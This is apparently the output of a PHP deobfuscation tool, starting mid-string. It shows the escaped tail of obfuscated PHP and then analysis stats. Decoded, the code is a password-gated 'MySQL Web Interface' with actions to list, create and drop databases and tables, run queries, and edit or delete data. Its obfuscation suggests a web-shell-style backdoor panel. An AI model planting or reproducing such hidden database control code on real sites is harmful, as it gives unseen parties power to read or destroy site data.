x79\x53\121\114\x20\x57\x65\x62\x20\x49\156\x74\x65\x72\146\141\143\145\74\57\164\151\x74\154\x65\76\134\156\x22\73\12\x20\40\145\x63\150\157\x20\x22\74\57\x68\145\141\144\x3e\134\156\42\x3b\xa\x20\40\x65\x63\150\x6f\40\42\74\142\x6f\144\x79\76\134\x6e\x22\73\xa\x20\x20\x65\x63\150\157\x20\x22\x3c\164\x61\142\154\x65\x20\167\151\144\164\x68\75\61\x30\60\45\40\150\145\x69\x67\x68\164\75\61\x30\x30\45\x3e\74\164\162\76\x3c\164\x64\76\74\x63\x65\156\x74\x65\162\76\134\156\x22\73\12\x20\40\x65\x63\150\x6f\40\42\x3c\150\x31\76\127\x72\157\156\x67\x20\x50\x61\x73\163\x77\157\162\144\x21\74\57\150\61\x3e\x5c\156\42\73\xa\x20\x20\x65\x63\150\157\x20\42\x3c\141\40\x68\162\x65\146\75\47\44\x50\x48\x50\x5f\x53\105\114\106\x3f\x61\x63\164\151\x6f\x6e\x3d\x6c\157\147\x6f\156\47\76\x4c\x6f\147\x6f\x6e\x3c\57\141\x3e\134\x6e\42\73\xa\40\x20\x65\143\150\157\x20\x22\x3c\x2f\x63\145\x6e\x74\145\162\x3e\x3c\x2f\x74\x64\x3e\x3c\x2f\164\x72\76\x3c\57\x74\x61\x62\x6c\x65\x3e\x5c\156\42\x3b\12\40\x20\145\143\x68\157\40\x22\x3c\57\x62\157\x64\x79\76\x5c\x6e\42\73\xa\x20\x20\x65\x63\150\157\x20\42\x3c\x2f\150\164\155\x6c\x3e\134\156\42\73\12\x7d\40\145\154\163\145\x20\x7b\xa\40\40\x68\x65\x61\x64\145\x72\137\x68\x74\155\154\50\51\73\xa\40\40\151\x66\50\40\44\141\x63\164\151\157\156\40\75\75\40\x22\154\x69\163\164\x44\x42\163\x22\x20\x29\xa\x20\40\x6c\151\163\164\x44\x61\x74\141\x62\x61\x73\x65\x73\50\x29\x3b\xa\x20\x20\145\x6c\x73\145\x20\151\146\x28\40\x24\141\143\x74\x69\x6f\156\x20\75\75\x20\x22\x63\x72\145\x61\x74\x65\104\102\x22\x20\x29\12\x20\x20\x63\162\x65\141\164\x65\104\141\x74\141\x62\x61\163\x65\x28\51\73\12\x20\40\x65\x6c\163\x65\x20\151\x66\x28\x20\x24\x61\143\164\151\157\x6e\x20\x3d\x3d\40\42\x64\162\x6f\160\104\102\x22\40\x29\12\40\x20\x64\x72\x6f\160\104\141\x74\141\x62\141\163\145\50\x29\x3b\12\40\40\145\x6c\163\145\40\151\146\x28\40\x24\x61\143\x74\x69\x6f\156\40\x3d\x3d\40\x22\154\151\163\164\x54\141\x62\154\145\x73\42\40\51\xa\40\40\x6c\x69\x73\x74\x54\x61\x62\x6c\145\x73\50\x29\x3b\12\x20\x20\145\154\163\x65\x20\151\x66\x28\x20\x24\141\x63\x74\x69\x6f\x6e\x20\75\75\x20\42\x63\162\145\x61\164\x65\124\141\142\x6c\145\42\40\51\12\40\40\x63\162\x65\141\x74\145\124\141\x62\154\x65\50\51\x3b\12\40\40\145\x6c\163\145\x20\x69\146\50\x20\x24\x61\143\x74\x69\x6f\156\x20\75\x3d\40\x22\144\x72\157\160\124\141\142\x6c\145\x22\x20\x29\12\x20\40\144\162\x6f\160\124\x61\x62\154\x65\x28\51\x3b\12\40\x20\145\154\163\145\40\x69\x66\50\40\x24\141\x63\x74\151\157\156\40\75\x3d\x20\42\x76\x69\145\167\x53\x63\150\x65\x6d\x61\x22\40\x29\12\x20\x20\166\151\145\167\123\x63\150\145\x6d\x61\x28\51\x3b\12\x20\x20\145\x6c\x73\145\40\x69\x66\x28\x20\x24\141\x63\164\151\157\x6e\40\75\x3d\40\x22\161\x75\x65\x72\171\42\40\x29\xa\40\x20\x76\151\x65\167\104\141\164\x61\50\x20\x24\161\165\x65\x72\171\123\164\162\40\x29\73\12\x20\40\145\154\163\x65\40\x69\146\x28\40\x24\141\x63\x74\x69\157\156\40\x3d\x3d\x20\42\x61\x64\x64\x46\x69\145\x6c\144\x22\x20\51\xa\40\x20\155\141\156\x61\x67\x65\106\151\x65\x6c\x64\50\x20\42\x61\144\144\42\40\x29\x3b\12\40\x20\145\x6c\163\x65\x20\x69\146\x28\40\44\x61\143\x74\x69\x6f\x6e\40\75\75\40\42\x61\144\144\x46\151\x65\x6c\x64\137\163\165\142\155\x69\164\42\x20\51\12\x20\40\x6d\x61\x6e\141\x67\x65\x46\x69\145\154\x64\137\163\165\x62\155\151\164\50\x20\x22\x61\x64\144\42\x20\51\73\12\x20\x20\145\x6c\163\x65\40\151\146\x28\40\x24\x61\x63\164\151\x6f\156\40\75\x3d\x20\x22\145\144\x69\x74\106\151\145\x6c\144\x22\40\51\xa\x20\x20\x6d\x61\156\x61\x67\145\x46\151\145\154\144\50\40\x22\145\x64\x69\x74\42\40\x29\73\12\x20\40\x65\x6c\x73\145\40\x69\146\50\40\44\141\143\x74\151\157\x6e\40\x3d\x3d\x20\x22\145\144\x69\164\106\151\x65\154\x64\137\x73\165\x62\155\151\164\42\40\51\xa\x20\x20\155\x61\156\141\147\x65\106\x69\x65\154\x64\x5f\x73\x75\142\155\151\164\x28\x20\42\145\144\151\x74\x22\40\51\73\12\x20\40\x65\154\163\x65\40\151\146\50\40\44\x61\x63\164\151\157\x6e\40\x3d\75\x20\42\144\162\x6f\x70\x46\x69\145\154\x64\42\40\x29\12\x20\40\144\x72\157\x70\x46\151\x65\154\x64\x28\x29\73\xa\x20\x20\145\x6c\x73\x65\x20\x69\146\50\x20\x24\x61\143\164\151\x6f\x6e\40\x3d\75\40\42\x76\x69\145\167\104\x61\164\141\42\40\51\12\40\x20\x76\151\145\167\104\141\x74\x61\x28\x20\42\42\x20\x29\x3b\12\40\40\x65\154\163\x65\x20\151\x66\x28\40\44\141\x63\164\x69\x6f\x6e\x20\x3d\x3d\40\42\141\144\x64\x44\x61\x74\x61\x22\40\51\xa\40\40\x6d\141\x6e\x61\x67\x65\104\141\164\141\x28\x20\42\x61\x64\144\42\40\x29\73\12\40\40\x65\154\163\145\x20\151\146\50\x20\x24\x61\143\164\151\x6f\156\x20\x3d\x3d\x20\42\x61\x64\x64\104\141\x74\x61\137\163\x75\x62\x6d\151\x74\x22\40\51\xa\x20\x20\155\141\156\141\147\x65\104\141\164\x61\x5f\163\165\142\155\151\x74\50\40\42\141\144\x64\42\x20\x29\x3b\xa\x20\x20\x65\154\x73\x65\x20\x69\146\x28\x20\x24\x61\x63\164\x69\157\x6e\40\x3d\x3d\x20\42\145\x64\x69\164\104\141\164\141\x22\x20\x29\12\40\40\155\x61\156\x61\147\145\104\141\x74\x61\50\x20\x22\145\x64\151\164\42\x20\51\x3b\xa\x20\40\x65\x6c\x73\145\40\151\x66\50\40\44\141\x63\x74\151\x6f\156\40\75\75\x20\42\145\144\x69\x74\x44\x61\x74\141\137\163\165\x62\x6d\x69\164\42\40\51\xa\40\x20\x6d\141\156\x61\x67\x65\104\x61\x74\141\137\x73\165\142\155\x69\164\50\40\42\x65\144\151\x74\42\x20\x29\73\xa\x20\40\145\154\163\145\40\151\x66\50\40\44\141\143\164\151\157\156\x20\x3d\75\x20\42\x64\x65\x6c\x65\164\x65\104\141\164\x61\x22\x20\x29\xa\40\40\x64\145\154\x65\x74\x65\104\141\164\x61\50\51\x3b\xa\40\x20\145\154\x73\145\40\151\x66\x28\x20\44\x61\x63\x74\151\x6f\156\x20\x3d\x3d\x20\x22\x75\164\151\154\x73\42\40\x29\xa\40\x20\165\164\x69\x6c\163\50\51\x3b\12\xa\40\x20\x6d\171\163\161\154\137\143\x6c\157\163\145\x28\x20\x24\x6d\x79\x73\161\x6c\110\x61\156\x64\154\145\x29\x3b\12\40\40\146\157\157\x74\145\162\x5f\x68\x74\155\x6c\50\51\73\12\x7d\12\175\xa\xa\x3f\x3e";

Function Calls

None

Variables

None

Stats

MD5 0b1dd3146825748364e17f80c812ff94
Eval Count 0
Decode Time 216 ms